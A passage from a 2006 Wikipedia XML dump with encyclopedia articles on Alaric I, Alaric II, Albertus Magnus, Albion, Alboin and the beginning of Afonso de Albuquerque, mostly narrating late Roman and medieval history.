[[nl:Ajax]]
[[ja:アイアス]]
[[pt:Ajax]]
[[ru:Аякс]]
[[sv:Ajax]]</text>
    </revision>
  </page>
  <page>
    <title>Alaric I</title>
    <id>1570</id>
    <revision>
      <id>40067980</id>
      <timestamp>2006-02-17T22:19:24Z</timestamp>
      <contributor>
        <username>FlaBot</username>
        <id>228773</id>
      </contributor>
      <minor />
      <comment>robot  Modifying: sl</comment>
      <text xml:space="preserve">[[Image:AlaricTheGoth.jpg|thumb|right|270px|An [[1894]] [[photogravure]] of Alaric I taken from a painting by Ludwig Thiersch.]]

'''Alaric I''' (Alaric or Alarich, in Latin ''Alaricus'') was likely born about [[370]] on an island named Peuce (the Fir) at the mouth of the [[Danube]], became king of the [[Visigoths]] from [[395]]&amp;ndash;[[410]], and was the first Germanic leader to take the city of [[Rome]].

He was well born, his father kindred to the [[Balti dynasty|Balti]], considered next in worth among Gothic fighters to the [[Amali]]. He was a [[Goths|Goth]] and belonged to the western branch, called the [[Visigoth|Visigoths]], who at the time of his birth dwelt in what is today [[Bulgaria]], having fled beyond the wide estuary marshes of the [[Danube]] to its southern shore so as not to be followed by their foe from the [[steppe]], the [[Huns]].  

==In Roman service==

During the [[4th century]] it had become common practice with the emperors to employ ''[[foederati]]''; Germanic [[irregular military|irregular troops]] under Roman command, but organized by tribal structures. The provincial population, crushed under a load of taxation, could no longer furnish soldiers in the numbers needed for the defence of the empire. Moreover, the emperors—ever fearful that a brilliantly successful general of Roman extraction might be proclaimed [[Augustus]] by his followers—preferred that high military command should be in the hands of one to whom such an accession of dignity was as yet impossible. The largest of these contigents were the Goths which had in [[382]] been allowed to settle within the imperial frontier with a large degree of autonomy.

In [[394]] Alaric served as a leader of foederati under [[Theodosius I]] in the campaign in which he crushed the usurper [[Eugenius]]. As the [[Battle of the Frigidus]], which terminated this campaign, was fought at the passes of the [[Julian Alps]], Alaric probably learned the weakness of [[Italy|Italy's]] natural defences  on its northeastern frontier at the head of the [[Adriatic Sea|Adriatic]].

Theodosius died in 395, leaving the empire to be divided between his two sons [[Arcadius]] and [[Flavius Augustus Honorius|Honorius]], the former taking the eastern and the latter the western portion of the empire. Arcadius showed little interest in ruling, leaving most of the actual power to his [[Praetorian Prefect]] [[Rufinus (Byzantine official)|Rufinus]]. Honorius was still a minor; as his guardian, Theodosius had appointed the ''[[magister militum]]'' [[Stilicho]]. Stilicho also claimed to be the guardian of Arcadius, causing much rivalry between the western and eastern courts. 

In the shifting of offices which took place at the beginning of the new reigns, Alaric apparently hoped he would be promoted from a mere commander of federates to generalship of one of the regular armies. This was denied him, however. Among the Visigoths, settled in Lower [[Moesia]], the situation was ripe for rebellion. At Frigidus they had suffered disproportional high losses, according to rumour a convenient way of weakening the Gothic tribes. Their rewards after the campaign had also been lacking. So they raised Alaric on a shield and proclaimed him king; leader and followers both resolving (says [[Jordanes]] the Gothic historian) &quot;rather to seek new kingdoms by their own work, than to slumber in peaceful subjection to the rule of others.&quot;

==In Greece==

Alaric struck first at the eastern empire. He marched to the neighbourhood of [[Constantinople]] but, finding himself unable to undertake the siege of that superbly strong city, retraced his steps westward and then marched southward through [[Thessaly]] and the unguarded pass of [[Thermopylae]] into [[Greece]]. 

The armies of the eastern empire were occupied with [[Huns|Hunnic]] incursions in [[Asia Minor]] and [[Syria]]. Instead Rufinus attempted to negotiate with Alaric in person. The only results was suspicions in Constantinople that Rufinius was in league with the Goths. Stilicho now marched east against Alaric. According to [[Claudian]], Stilicho was in a position to destroy the Goths, when he was ordered by Arcadius to leave [[Illyricum]]. Soon after Rufinus was hacked to death by his own soldiers. Power in Constantinople now passed to the eunuch chamberlain [[Eutropius (Byzantine official)|Eutropius]].

The death of Rufinus and departure of Stilicho gave Alaric free reins. He ravaged Attica but spared Athens, which at once capitulated to the conqueror. Then he penetrated into the [[Peloponnesus]] and captured its most famous cities—[[Corinth, Greece|Corinth]], [[Argos]], and [[Sparta]]—selling many of their inhabitants into slavery.

Here, however, his victorious career ended. In [[397]] Stilicho crossed by sea to Greece and succeeded in shutting up the Goths in the mountains of [[Pholoe]] on the borders of [[Elis]] and [[Arcadia]] in the peninsula. From thence Alaric escaped with difficulty, and not without some suspicion of connivance on the part of Stilicho, who supposedly again had received orders to depart. Alaric then crossed the [[Gulf of Corinth]] and marched with the plunder of [[Greece]] northwards to [[Despotate of Epirus|Epirus]]. Here his rampage continued until the eastern government appointed him ''magister militum per Illyricum'', giving him the Roman command he had desired and authority to resupply his men from the imperial arsenals.

==First invasion of Italy==

It was probably in the year [[400]] that Alaric made his first invasion of Italy, cooperating with another Gothic chieftain named [[Radagaisus]]. Supernatural influences weren't lacking to urge him to this great enterprise. Some lines of the Roman poet inform us that he heard a voice proceeding from a [[Oracle|holy grove]], &quot;Break off all delays, Alaric. This very year thou shalt force the Alpine barrier of Italy; thou shalt penetrate to the city.&quot; But the prophecy wasn't to be fulfilled at this time. After spreading desolation through North [[Italy]] and striking terror into the citizens of Rome, Alaric was met by [[Stilicho]] at [[Pollentia]], today in [[Piedmont (Italy)|Piedmont]]. The battle which followed on [[April 6]], [[402]] (coinciding with Easter), was a victory for Rome, though a costly one. But it effectually barred the further progress of the Goths.  

Stilicho's enemies later reproached him for having gained his victory by taking impious advantage of the great Christian festival. Alaric, too, was a Christian, though an [[Arianism|Arian]] rather than a [[Catholic]]. He had trusted to the sanctity of Easter for immunity from attack. 

The wife of Alaric is said to have been taken prisoner after this battle; and there is some reason to suppose that he was hampered in his movements by the presence with his forces of large numbers of women and children, having given to his invasion of [[Italy]] the character of a national migration.  

After another defeat before [[Verona, Italy|Verona]], Alaric left Italy, probably in [[403]]. He hadn't indeed &quot;penetrated to the city&quot; but his invasion of Italy had produced important results. It had caused the imperial residence to be transferred from [[Milan]] to [[Ravenna]], it had necessitated the withdrawal of [[Legio XX Valeria Victrix|Legio XX ''Valeria Victrix'']] from Britain, and it had probably facilitated the great invasion of [[Vandals]], [[Suevi|Sueves]], and [[Alans]] into Gaul, which lost Gaul and the provinces of [[Hispania]] to the Empire.

==Second invasion of Italy==

We next hear of Alaric as the friend and ally of his late opponent Stilicho. The estrangement between the eastern and western courts had in [[407]] become so bitter as to threaten civil war, and Stilicho was actually proposing to use the forces of Alaric in order to enforce the claims of Honorius to the [[prefecture]] of Illyricum. The death of Arcadius in May [[408]] caused milder counsels to prevail in the western cabinet, but Alaric, who had actually entered Epirus, demanded in a somewhat threatening manner that if he were thus suddenly bidden to desist from war, he should be paid handsomely for what in modern language would be called the expenses of mobilization. The sum which he named was a large one, 4,000 pounds of gold. Under strong pressure from Stilicho the Roman senate consented to promise its payment. 

But three months later Stilicho himself and the chief ministers of his party were treacherously slain in pursuance of an order extracted from the timid and jealous Honorius. In the disturbances that followed, throughout Italy the wives and children of the foederati were slain. The natural consequence of all this was that these men, to the number of 30,000, flocked to the camp of Alaric, clamouring to be led against their cowardly enemies. He accordingly led them across the Julian Alps and, in September [[408]], stood before the walls of [[Rome]] (now with no capable general like Stilicho as a defender) and began a strict blockade.

No blood was shed this time; hunger was the weapon on which Alaric relied. When the ambassadors of the [[Roman Senate|Senate]], in treating for peace, tried to terrify him with their hints of what the despairing citizens might accomplish, he gave with a laugh his celebrated answer: &quot;The thicker the hay, the easier mowed!&quot; After much bargaining, the famine-stricken citizens agreed to pay a ransom of more than two thousand pounds in weight of gold, besides precious garments of [[silk]] and leather and three thousand pounds of [[black pepper|pepper]]. Thus ended Alaric's first siege of Rome. 

At this time, and indeed throughout his career, Alaric's primary goal wasn't to pull down the fabric of the empire but to secure for himself, by negotiation with its rulers, a regular and recognized position within its borders. His demands were certainly large&amp;mdash; the concession of a block of territory 200 miles long by 150 wide between the Danube and the Gulf of Venice (to be held probably on some terms of nominal dependence on the empire) and the title of commander-in-chief of the imperial army&amp;mdash;but, great as these terms were, the emperor would probably have been well advised to grant them. Honorius, however, was one of those timid and feeble folk who are equally unable to make either war or peace, and refused to look beyond the question of his own personal safety, guaranteed as it was by the dikes and marshes of Ravenna. As all attempts to conduct a satisfactory negotiation with this emperor failed before his impenetrable stupidity, Alaric, after instituting a second siege and blockade of Rome in [[409]], came to terms with the senate. With their consent he set up a rival emperor and invested the prefect of the city, a Greek named [[Priscus Attalus]], with the diadem and the purple robe. 

Attalus, however, proved quite unfit for his high position; he rejected the advice of Alaric and lost in consequence the [[Africa (province)|province of Africa]], the granary of Rome, which was defended by the partisans of Honorius. The weapon of famine, formerly in the hand of Alaric, was thus turned against him, and loud in consequence were the murmurs of the Roman populace. Honorius was also greatly strengthened by the arrival of six legions sent to his assistance from Constantinople by his nephew [[Theodosius II]]. 

Alaric therefore cashiered his puppet emperor, after the latter's eleven months of ineffectual rule, and once more tried to reopen negotiations with Honorius. These negotiations would probably have succeeded but for the malign influence of another Goth, [[Sarus]], the hereditary enemy of Alaric and his house. When Alaric found himself once more outwitted by the machinations of such a foe, he marched southward and began in deadly earnest his third, his ever-memorable siege of Rome. No defence apparently was possible; there are hints, not well substantiated, of treachery; there is greater probability of surprise. However this may be&amp;mdash;for our information at this point of the story is meagre&amp;mdash;on [[August 24]], [[410]], Alaric and his Visigoths burst in by the Salarian gate on the northeast of the city. She who had been mistress of the world now lay at the feet of foreign enemies.

But in their plundering of the city, the Visigoths weren't absolutely ruthless. The contemporary ecclesiastics recorded with wonder many instances of their clemency: Christian churches saved from ravage; protection granted to vast multitudes both of pagans and Christians who took refuge therein; vessels of gold and silver which were found in a private dwelling, spared because they &quot;belonged to St. Peter&quot;; at least one case in which a beautiful Roman matron appealed, not in vain, to the better feelings of the Gothic soldier who attempted her dishonor. But even these exceptional instances show that Rome wasn't entirely spared those scenes of horror which usually accompany the storming of a besieged city. Nonetheless, the written sources do not tell of any damage wrought by fire, save in the case of [[Sallust]]'s palace, which was situated close to the gate by which the Goths had made their entrance; nor is there any reason to attribute any extensive destruction of the buildings of the city to Alaric and his followers. The [[Basilica Aemilia]] in the [[Roman Forum]] did burn down, which perhaps can be attributed to Alaric, based on evidence from archaeologists: coins dating from 410 found melted in the floor.  

[[Image:Death of Alaric.jpg|thumb|right|300px|The burial of Alaric in the bed of the [[Busento River]]. 1895 lithograph]]

His work being done, his fated task, and Alaric having penetrated to the city, nothing remained for him but to die. He marched southwards into [[Calabria]]. He desired to invade Africa, which on account of its corn crops was now the key of the position, but his ships were dashed to pieces by a storm in which many of his soldiers perished. He died in [[Cosenza]] soon after, probably of fever, at the early age of thirty-four, and his body was buried under the riverbed of the [[Busento]]. The stream was temporarily turned aside from its course while the grave was dug wherein the Gothic chief and some of his most precious spoils were interred; when the work was finished the river was turned back into its usual channel and the captives by whose hands the labor had been accomplished were put to death that none might learn their secret. 

Alaric was succeeded in the command of the Gothic army by his brother-in-law, [[Ataulf]].

Our chief authorities for the career of Alaric are the historian [[Orosius]] and the poet [[Claudian]], both strictly contemporary; [[Zosimus]], a somewhat prejudiced pagan historian, who lived probably about half a century after the death of Alaric; and [[Jordanes]], a Goth who wrote the history of his nation in the year [[551]], basing his work on the earlier history of [[Cassiodorus]] (now lost), which was written about [[520]]. 


{{1911}}

See also: [[Alaric II]]

==External links==

*Edward Gibbon, ''History of the Decline and Fall of the Roman Empire'', [http://etext.library.adelaide.edu.au/g/g43d/chapter30.html Chapter 30] and [http://etext.library.adelaide.edu.au/g/g43d/chapter31.html Chapter 31].


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[[cs:Alarich I.]]
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[[he:אלאריק הראשון]]
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  </page>
  <page>
    <title>Alaric II</title>
    <id>1571</id>
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      <text xml:space="preserve">'''Alaric II''', also known as Alarik, Alarich, and ''Alarico'' in [[Spanish language|Spanish]] or ''Alaricus'' in [[Latin]] (d. [[507]]) succeeded his father [[Euric]] in [[485]] as king of the [[Visigoths]]. His dominions included not only the whole of [[Hispania]] except its north-western corner but also [[Aquitaine]] and the greater part of an as-yet undivided [[Gallia Narbonensis]]. 

In religion Alaric was an [[Arianism|Arian]], like all the early Visigothic nobles, but he greatly mitigated the persecuting policy of his father Euric toward the [[Catholicism|Catholics]] and authorized them to hold in [[506]] the council of [[Agde]]. He was on uneasy terms with the Catholic bishops of Arles as epitomized in the career of the Frankish [[Caesarius of Arles|Caesarius, bishop of Arles]], born at [[Châlons]] and appointed bishop in 503. Caesarius was suspected of conspiring with the [[Burgundians]] to turn over the Arelate to Burgundy, whose king had married the sister of [[Clovis I|Clovis]], so Alaric exiled him for a year safely at Bordeaux in Aquitaine before allowing him to return unharmed when the crisis had passed ([http://www.ccel.org/w/wace/biodict/htm/iii.iii.iv.htm Wace, ''Dictionary'']). 

He displayed similar wisdom and liberality in political affairs by appointing a commission to prepare an abstract of the Roman laws and imperial decrees, which should form the authoritative code for his Roman subjects. This is generally known as the ''Breviarium Alaricianum'' or [[Breviary of Alaric]]. 

Alaric was of a peaceful disposition and endeavoured strictly to maintain the treaty which his father had concluded with the [[Franks]], whose king [[Clovis I]], however, desiring to obtain the Gothic province in Gaul, found a pretext for war in the Arianism of Alaric. The intervention of [[Theodoric the Great|Theodoric]], king of the [[Ostrogoths]] and father-in-law of Alaric, proved unavailing. The two armies met in [[507]] at the [[Battle of Vouillé]], near Poitiers, where the Goths were defeated and their king, who took to flight, was overtaken and slain, it is said, by Clovis himself. 

His legitimate son [[Amalaric]] was still a child, so he was succeeded by his 
illegitimate son, [[Gesalec]].

==External links==

==References==
*{{1911}}
*Edward Gibbon, [http://etext.library.adelaide.edu.au/g/g43d/chapter38.html ''History of the Decline and Fall of the Roman Empire''] Chapter 38

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[[Category:507 deaths|Alaric]]
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  <page>
    <title>Albategnius</title>
    <id>1572</id>
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      <contributor>
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      <text xml:space="preserve">#REDIRECT [[Al-Battani]]</text>
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  <page>
    <title>Albertus Magnus</title>
    <id>1573</id>
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      <id>42105775</id>
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      <text xml:space="preserve">[[Image:AlbertusMagnus.jpg|right|thumb|Albertus Magnus (fresco, 1352, Treviso, Italy)]]
{{Redirect3|Albertus|is also the name of a [[Albertus (typeface)|typeface]]}}

'''Albertus Magnus''' ([[1193]]? &amp;ndash; [[November 15]], [[1280]]), also known as '''Saint Albert the Great''' and '''Albert of Cologne''', was a [[Dominican Order|Dominican]] friar who became famous for his universal knowledge and advocacy for the peaceful coexistence of science and religion. He is considered to be the greatest German philosopher and theologian of the [[Middle Age]]s.  He was the first medieval scholar to apply [[Aristotle]]'s philosophy to Christian thought at the time. [[Catholicism]] honors him as a [[Doctor of the Church]], one of only 33 men and women with that honor.

==Biography==
He was born of the noble family of Bollstadt in [[Lauingen]], [[Bavaria]], [[Germany]] on the [[Danube]], sometime between 1193 and [[1206]].  The term &quot;magnus&quot; is not descriptive; it is the [[Latin]] equivalent of his family name, de Groot.

Albertus was educated principally at [[Padua]], where he received instruction in [[Aristotle]]'s writings. After an alleged encounter with the [[Blessed Virgin Mary]], he entered holy orders.   In [[1223]] (or [[1221]]) he became a member of the [[Dominican Order]], and studied [[theology]] under its rules at [[Bologna]] and elsewhere.  Selected to fill the position of lecturer at [[Cologne]], where the order had a house, he taught for several years there, at [[Regensburg]], [[Freiburg]], [[Strasbourg]] and [[Hildesheim]].  In [[1245]] he went to [[Paris]], received his doctorate and taught for some time, in accordance with the regulations, with great success.  

In [[1254]] he was made provincial of the Dominican Order, and fulfilled the arduous duties of the office with great care and efficiency.  During the time he held this office he publicly defended the Dominicans against the attacks by the secular and regular faculty of the [[University of Paris]], commented on [[John the Evangelist|St John]], and answered the errors of the [[Arab philosophy|Arabian philosopher]], [[Averroes]]. 

In [[1260]] [[Pope Alexander IV]] made him [[bishop]] of [[Regensburg]], which office he resigned after three years.  The remainder of his life he spent partly in preaching throughout Bavaria and the adjoining districts, partly in retirement in the various houses of his order.  In [[1270]] he preached the [[eighth Crusade]] in [[Austria]].  Among the last of his labours was the defence of the orthodoxy of his former pupil, [[Thomas Aquinas]], whose death in [[1274]] grieved Albertus.  After suffering collapse of health in [[1278]], he died on [[November 15]], [[1280]], in [[Cologne]], [[Germany]].  His tomb is in the [[crypt]] of the Dominican church of [[St. Andreas]] in Cologne.

Albertus is frequently mentioned by [[Dante Alighieri|Dante]], who made his doctrine of [[free will]] the basis of his ethical system.  In his [[Divine Comedy]], Dante places Albertus with his pupil Thomas Aquinas among the great lovers of wisdom (''Spiriti Sapienti'') in the Heaven of the Sun.

Albertus was beatified in [[1622]]. He was canonized and also officially named a Doctor of the Church in [[1931]] by [[Pope Pius XI]]. His feast day is celebrated on November 15th.

==Writings==
Albertus's writings collected in [[1899]] went to 38 volumes, displaying his prolific habits and literally encyclopedic knowledge of topics including, but not limited to, logic, theology, botany, geography, astronomy, mineralogy, chemistry, zoölogy, physiology, and [[phrenology]], all of it the result of logic and observation.  He was the most widely read author of his time.  The whole of [[Aristotle]]'s works, presented in the Latin translations and notes of the Arabian commentators, were by him digested, interpreted and systematized in accordance with church doctrine.  He came to be so associated with Aristotle that he was referred to as &quot;Aristotle's ape&quot;.  

Albert's activity, however, was more philosophical than theological (see [[Scholasticism]]). The philosophical works, occupying the first six and the last of the twenty-one volumes, are generally divided according to the Aristotelian scheme of the sciences, and consist of interpretations and condensations of Aristotle's relative works, with supplementary discussions depending on the questions then agitated, and occasionally divergences from the opinions of the master. 

His principal theological works are a commentary in three volumes on the Books of the Sentences of [[Peter Lombard]] (''Magister Sententiarum''), and the ''Summa Theologiae'' in two volumes.  This last is in substance a repetition of the first in a more didactic form.

==Albertus as scientist==
Albertus's knowledge of physical science was considerable and for the age accurate.  His industry in every department was great, and though we find in his system many of those gaps which are characteristic of scholastic philosophy, yet the protracted study of Aristotle gave him a great power of systematic thought and exposition, and the results of that study, as left to us, by no means warrant the contemptuous title sometimes given him of the &quot;Ape of Aristotle.&quot; They rather lead us to appreciate the motives which caused his contemporaries to bestow on him the honourable surnames &quot;The Great&quot; and ''Doctor Universalis.'' It must, however, be admitted that much of his knowledge was ill digested; it even appears that he regarded [[Plato]] and [[Speusippus]] as [[Stoics]].  

Albertus was both a student and a teacher of [[alchemy]] and [[chemistry]]. He isolated [[arsenic]] in [[1250]]. He was alleged to be a magician, since he was repeatedly charged by some of his unfriendly contemporaries with communing with the devil, practicing the craft of magic, and with the making of a demonic automata able to speak. He was also one of the alchemists reputed to have succeeded in discovering the [[Philosopher's Stone]].

[[Image:Albertus Magnus-Denkmal.jpg|thumb|Albertus Magnus monument in Cologne]]

==Music==
In music history, Albertus is known for his enlightening commentary on musical practice of the time.  Most of his musical observations are given in his commentary on Aristotle's ''Poetics''.  Among other things, he rejects the idea of &quot;[[music of the spheres]]&quot; as ridiculous:  movement of astronomical bodies, he supposes, is incapable of generating sound.  He also wrote extensively on proportions in music, and on the three different subjective levels on which [[plainchant]] could work on the human soul:  purging of the impure; illumination leading to contemplation; and nourishing perfection through contemplation.  Of particular interest to [[20th century]] music theorists is the attention he paid to silence as an integral part of music.

==Trivia==
*Magnus is recorded as having made an [[android]], a mechanical [[automaton]] in the figure of a man. {{ref label|1728|1|^}}

==Quotes==
''Natural science does not consist in ratifying what others have said, but in seeking the causes of phenomena.''

==See also==
*[[History of science in the Middle Ages]]

==References==
#{{note label|1728|1|^}}{{1728}} [http://digicoll.library.wisc.edu/cgi-bin/HistSciTech/HistSciTech-idx?type=turn&amp;entity=HistSciTech000900240135&amp;isize=L Androides].

==External links==
*[http://www.newadvent.org/cathen/01264a.htm  Catholic Encyclopedia article]

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[[Category:Catholic philosophers|Albertus Magnus]]
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  <page>
    <title>Albion</title>
    <id>1574</id>
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        <username>Rich Farmbrough</username>
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      <text xml:space="preserve">:''This article is about the archaic name for Great Britain. For other meanings, see [[Albion (disambiguation)]]''
[[Image:white_cliffs_of_dover_09_2004.jpg|320px|thumb|The white cliffs of Dover]]'''Albion''' (in [[Ptolemy]] ''Alouion''), is the most ancient name of [[Great Britain]], though often used to refer specifically to [[England]].  Occasionally it instead refers to only [[Scotland]], whose name in [[Scottish Gaelic language|Gaelic]] is ''[[Alba]]'' (and similarly, in [[Irish language|Irish]], and ''Yr Alban'' in Welsh{{ref|welsh}}).  [[Pliny the Elder]], in his ''Natural History'' (iv.xvi.102) applies it unequivocally to Great Britain, &quot;It was itself named Albion, while all the islands about which we shall soon briefly speak were called the Britanniae.&quot; The name ''Albion'' was taken by medieval writers from  Pliny and [[Ptolemy]].

The name is perhaps of [[Celtic languages|Celtic]] origin or older, from the [[Proto-Indo-European language|Proto-Indo-European]] root that denotes both &quot;white&quot; and &quot;mountain&quot;, but the [[Roman Empire|Romans]] took it as connected with ''albus'' (white), in reference to the chalk &quot;[[White Cliffs of Dover]]&quot;, and Alfred Holder's ''Alt-Keltischer Sprachschatz,'' (1896) unhesitatingly translates it ''Weissland'' (&quot;whiteland&quot;). The early writer ([[6th century BC]]) whose [[periplus]] was translated by [[Avienus]] at the end of the 4th century AD (see ''[[Massaliote Periplus]]'')  does not use the name ''Britannia''; he speaks of ''nesos 'Iernon kai 'Albionon'' (island of the Ierni and the Albiones).  So [[Pytheas of Massilia]] ([[4th century BC]]) speaks of ''Albion and 'Ierne''. From the fact that there was a tribe called the ''Albiones'' on the north coast of [[Spain]] in [[Asturias]], some scholars have placed Albion in that neighbourhood (see G. F. Unger, ''Rhein. Mus.'' xxxviii., 1883, pp. 156-196).  

The pejorative [[sobriquet]] ''[[perfidious Albion]]'' takes its meaning from this old name for Britain.

==References==
#{{note|welsh}}[http://www.cs.cf.ac.uk/fun/welsh/LexiconForms.html Welsh Lexicon Forms]. [[Cardiff University]], [[Cardiff School of Computer Science]]. Retrieved [[19 January]] [[2006]].

[[Category:Ancient Roman provinces]]
[[Category:British Isles]]
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  <page>
    <title>Alboin</title>
    <id>1575</id>
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      <text xml:space="preserve">'''Alboin''' or '''Alboïn''' (d. [[572]] or [[573]]), king of the [[Lombards]], and conqueror of [[Italy]], succeeded his father [[Audoin]] about [[565]]. The Lombards were at that time dwelling in [[Noricum]] and [[Pannonia]] (the plain of eastern Austria south and east of the Danube, modern-day Slovenia and Istria).  In alliance with the [[Eurasian Avars|Avars]], an Asiatic people who had invaded central Europe, Alboin defeated the Lombards' hereditary enemies, the [[Gepids]], a powerful nation on his eastern frontier, slew their new king 
[[Cunimund]], whose skull he fashioned into a drinking-cup, and whose daughter [[Rosamund]] he carried off and made his wife. 

Three years later, in April, [[568]], on the alleged invitation of [[Narses]], who was irritated by the treatment he had received from the emperor [[Justin II]], Alboin invaded [[Italy]], with the women and children of the tribe and all their possessions, with 20,000 Saxon allies and the subject tribe of the Gepids and a mixed host of other barbarians, probably marching over the pass of the [[Predil]] and crossing the great plain at the head of the Adriatic into Italy. The [[Gothic War]], which had ended in the downfall of the Goths, had exhausted Italy, which was wracked with famine and plague, and the Eastern Emperor's government at Constantinople was powerless to retain the Italian province which [[Belisarius]] and [[Narses]] had recently recovered for it. Alboin's horde overran [[Venice|Venetia]] and the wide district which we now call [[Lombardy]], took Milan in 569, meeting with but feeble resistance till he came to the city of [[Ticinum]] ([[Pavia]]), which for three years ([[569]]-[[572]]) kept the Lombards at bay and then became the new capital. Where the Lombards did meet with resistance, retribution was savage beyond anything Italy had experienced before. The bishops, who were virtually the leaders of the late antique Roman cities, fled, like the [[Roman Catholic Archdiocese of Milan|bishop of Milan]], or compounded with the barbarians for gentler treatment of their people. 

While the siege of Pavia was in progress Alboin was also engaged in other parts of Italy, and at Pavia's capitulation he was probably master of [[Lombardy]], [[Piedmont (Italy)|Piedmont]] and [[Tuscany]], as well as of the regions which afterwards went by the name of the duchies of [[Spoleto]] and [[Benevento]].     

In [[572]], according to [[Paul the Deacon]] (Paulus Diaconus), the [[8th century]] Lombard chronicler, Alboin fell a victim to the revenge of his wife Rosamund, the daughter of the king of the Gepids, whose skull Alboin had turned into a drinking cup (worn at his belt) and out of which he forced Rosamund to drink. Rosamund immediately went to [[Helemechis]] (or ''Helmgis''), the king's [[squire]] (''scilpor'') or armour-bearer and foster brother, who advised her to seek out [[Peredeo]], a very strong man.  Peredeo refused to involve himself in such a crime.  So the queen went to the bed of the dressing-maid with whom Peredeo was having an affiar and, unbeknownst to Peredeo, slept with him. When the deed was done, the queen revealed her identity to Peredeo and said 

:''&quot;...surely now you have perpetrated such a deed, Peredeo, that either you must kill Alboin or he will slay you with his sword.&quot;''

Letting Paul the Deacon continue:

:''Then he learned the evil thing he had done, and he who had been unwilling of his own accord, assented, when forced in such a way, to the murder of the king. Then Rosemund, while Alboin had given himself up to a noon-day sleep, ordered that there should be a great silence in the palace, and taking away all other arms, she bound his sword tightly to the head of the bed so it could not be taken away or unsheathed, and according to the advice of Peredeo, she, more cruel than any beast, let in Helmechis the murderer. Alboin suddenly aroused from sleep perceived the evil which threatened and reached his hand quickly for his sword, which, being tightly tied, he could not draw, yet he seized a foot-stool and defended himself with it for some time. But unfortunately alas! this most warlike and very brave man being helpless against his enemy, was slain as if he were one of no account, and he who was most famous in war through the overthrow of so many enemies, perished by the scheme of one little woman.''[http://www.northvegr.org/lore/langobard/index.php]

So Peredeo and the queen fled to the protection of the Byzantine representative at Ravenna.

In these few years the Lombards had established themselves in the north of Italy (henceforth [[Lombardy]]). But they had little practice in governing large provinces. Lombard warlords (which Latin chroniclers called 'dukes') were established in all the strongholds and passes, and this arrangement became increasingly characteristic of the Lombard settlement. Their power extended tenuously across the Apennines into Liguria and Tuscany, and southwards to the outlying Lombard dukedoms of [[Spoleto]] and [[Benevento]]. The invaders failed to secure any maritime ports or any territory that was conveniently commanded from the sea, such as Byzantine [[Ravenna]].  Local inhabitants fled into the marshes and lagoons, where [[Venice]] had its beginnings.

After his death and the short reign of his successor [[Cleph]] the Lombards remained for more than ten years without a king, ruled by the various dukes. 

The authorities for the history of Alboin are first of all [[Paul the Deacon]], the Byzantine [[Procopius]],  and [[Agnellus]] (in his history of the church of [[Ravenna]]). 

===Sources===

*[[Charles Oman]], ''The [[Dark Ages]] [[476]]-[[918]]''. [[1914]]. Rivingtons, [[London, England|London]].

*{{1911}}

===External links===

*[http://www.northvegr.org/lore/langobard/index.php A translation of Historia Langobardorum]


{| border=&quot;2&quot; align=&quot;center&quot;
|width=&quot;30%&quot; align=&quot;center&quot;|Preceded by:&lt;br&gt;'''[[Audoin]]'''
|width=&quot;40%&quot; align=&quot;center&quot;|'''[[Lombard|King of the Lombards]]'''
|width=&quot;30%&quot; align=&quot;center&quot; rowspan=&quot;2&quot;|Followed by:&lt;br&gt;'''[[Cleph]]'''
|}

[[Category:Lombard kings]]

[[de:Alboin]]
[[fr:Alboïn]]
[[it:Alboino]]
[[nl:Alboin van de Langobarden]]
[[zh:阿尔博因]]</text>
    </revision>
  </page>
  <page>
    <title>Afonso de Albuquerque</title>
    <id>1576</id>
    <revision>
      <id>40877178</id>
      <timestamp>2006-02-23T16:37:13Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Caps in section headings</comment>
      <text xml:space="preserve">[[Image:afonso_albuquerque3.jpg|thumb|right|Afonso de Albuquerque|125px]]'''Afonso de Albuquerque''', '''Afonso d'Albuquerque''' or '''Alfonso de Albuquerque''' ([[Pronunciation|pron.]] [[International Phonetic Alphabet|IPA]] {{IPA|ɐ.'fõ.su dɨ aɫ.βu.'kɛɾ.kɨ}})  ([[1453]] - [[December 16]], [[1515]]) was a noted [[Portugal|Portuguese]] naval general whose activities helped establish the Portuguese colonial empire in India.

==Early life==
Born in Alhandra in the year of 1453, near  [[Lisbon]], [[Portugal]], he was for some time known as ''The Great'', and as ''The Portuguese Mars''.  Through his father, Gonçalo, who held an important position at court, he was connected by illegitimate descent with the royal family of Portugal.  He was educated at the court of [[Afonso V of Portugal]], and after the death of that monarch seems to have served for some time in [[Africa]].  On his return he was appointed ''estribeiro-mor'' (chief [[equerry]]) to [[John II of Portugal|John II]].

==Expeditions to the East==

===First Expedition, 1503-1504===
In [[1503]] he set out on his first expedition to the East, which was to be the scene of his future triumphs.  In company with his kinsman Francisco he sailed round the [[Cape of Good Hope]] to [[India]], and succeeded in establishing the king of Cochin securely on his throne, obtaining in return for this service permission to build a Portuguese fort at Cochin, and thus laying the foundation of his country's empire in the East.  

===Operations in the Persian Gulf and Malabar, 1504-1508===
Albuquerque returned home in [[July]] [[1504]], and was well received by King [[Manuel I of Portugal]], who entrusted him with the command of a squadron of five vessels in the fleet of sixteen which sailed for [[India]] in [[1506]] under [[Tristão da Cunha]].  After a series of successful attacks on the [[Arab]] cities on the east coast of Africa, Albuquerque separated from Da Cunha, and sailed with his squadron against the island of [[Ormuz]], in the [[Persian Gulf]], which was then one of the chief centres of commerce in the East.  He arrived on [[September 25]], [[1507]], and soon obtained possession of the island, though he was unable long to maintain his position.  

With his squadron increased by three vessels, he reached the [[Malabarian Coast|Malabar coast]] at the close of the year [[1508]], and immediately made known the commission he had received from the king empowering him to supersede the governor [[Francisco de Almeida]].  The latter, however, refused to recognize Albuquerque's credentials and cast him into prison, from which he was only released, after three months' confinement, on the arrival of the grand-marshal of Portugal with a large fleet, in November 1509.  Almeida having returned home, Albuquerque speedily showed the energy and determination of his character.

===Operations in Goa and Malacca, 1510-1511===
An unsuccessful attack upon Calicut (modern [[Kozhikode]]) in January [[1510]], in which the commander-in-chief received a severe wound, was immediately followed by the investment and capture of [[Old Goa|Goa]]. Albuquerque, finding himself unable to hold the town on his first occupation, abandoned it in [[August]], to return with the reinforcements in [[November]], when he obtained undisputed possession.  He next directed his forces against the [[Sultanate of Malacca]], which he subdued [[August 24]]th [[1511]] after a severe struggle.  He remained in the town nearly a year in order to strengthen the position of the portuguese crown.

===Various operations, 1512-1515===
